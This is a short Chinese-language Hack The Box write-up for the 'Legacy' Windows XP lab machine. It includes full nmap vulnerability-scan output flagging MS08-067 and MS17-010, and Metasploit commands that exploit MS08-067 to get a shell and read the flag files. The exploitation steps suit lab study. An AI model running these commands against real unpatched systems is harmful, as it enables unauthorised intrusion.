HTB Windows Legacy

简介
很简单的一台Windows靶机,考察Windows下历史漏洞查找和利用。

文章目录

  • 信息收集
  • 漏洞利用
  • 漏洞分析

信息收集

通过nmap的script扫描即可发现SMB协议的大量漏洞,然后直接利用即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# Nmap 7.70 scan initiated Mon Dec  9 22:04:27 2019 as: nmap -sC -sV -p139,445,3389 --script vuln -oA Legacy/scan/Legacy-service 10.10.10.4
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for localhost (10.10.10.4)
Host is up (0.29s latency).

PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 9 22:05:22 2019 -- 1 IP address (1 host up) scanned in 55.62 seconds

139端口,netbios-ssn服务,版本:Microsoft Windows netbios-ssn
445端口,microsoft-ds服务,版本:Microsoft Windows XP microsoft-ds
服务器版本:Windows XP

通过nmap的script查看到存在ms08-067,于是尝试利用该漏洞。

漏洞利用

1
2
3
msf> use exploit/windows/smb/ms08_067_netapi
msf exploit/windows/smb/ms08_067_netapi> set rhost 10.10.10.4
msf exploit/windows/smb/ms08_067_netapi> run

运行之后即可获得windows shell,然后在”c:\Documents and Settings\john\Desktop\user.txt”和”c:\Documents and Settings\Administrator\Desktop\root.txt”找到flag。

tips: xp及以前的系统中不存在Users目录,用户相关的文件都保存在”Documents and Settings”目录下。

漏洞分析

关于ms08-067漏洞的分析,可以查看知乎大佬的分析here

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%